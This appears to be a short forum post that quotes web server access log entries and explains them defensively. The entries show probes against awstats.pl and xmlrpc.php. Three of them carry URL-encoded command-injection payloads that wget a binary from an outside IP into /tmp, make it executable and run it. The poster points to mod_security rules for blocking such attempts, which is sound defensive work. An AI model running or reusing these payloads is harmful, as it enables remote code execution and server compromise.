24.174.32.12 - - "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|HTTP/1.1" 404 296 24.174.32.12 - - "GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|HTTP/1.1" 404 296 24.174.32.12 - - "GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|HTTP/1.1" 404 304 24.174.32.12 - - "POST /xmlrpc.php HTTP/1.1" 404 288 24.174.32.12 - - "POST /blog/xmlrpc.php HTTP/1.1" 404 293 24.174.32.12 - - "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 300 24.174.32.12 - - "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 301 24.174.32.12 - - "POST /drupal/xmlrpc.php HTTP/1.1" 404 295 24.174.32.12 - - "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 301 24.174.32.12 - - "POST /wordpress/xmlrpc.php HTTP/1.1" 404 298 24.174.32.12 - - "POST /xmlrpc.php HTTP/1.1" 404 288 24.174.32.12 - - "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 295 24.174.32.12 - - "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 295

You see every logrule with a response code of 404, that is a good sign. It means the webserver responds with a page not found. And those percentage things are the means to get in. Thats what to use when specifying a mod_security rule to block all those kind of attempts proactively. Have a look at:
http://www.gotroot.com/downloads/ftp/mod_security/rules.conf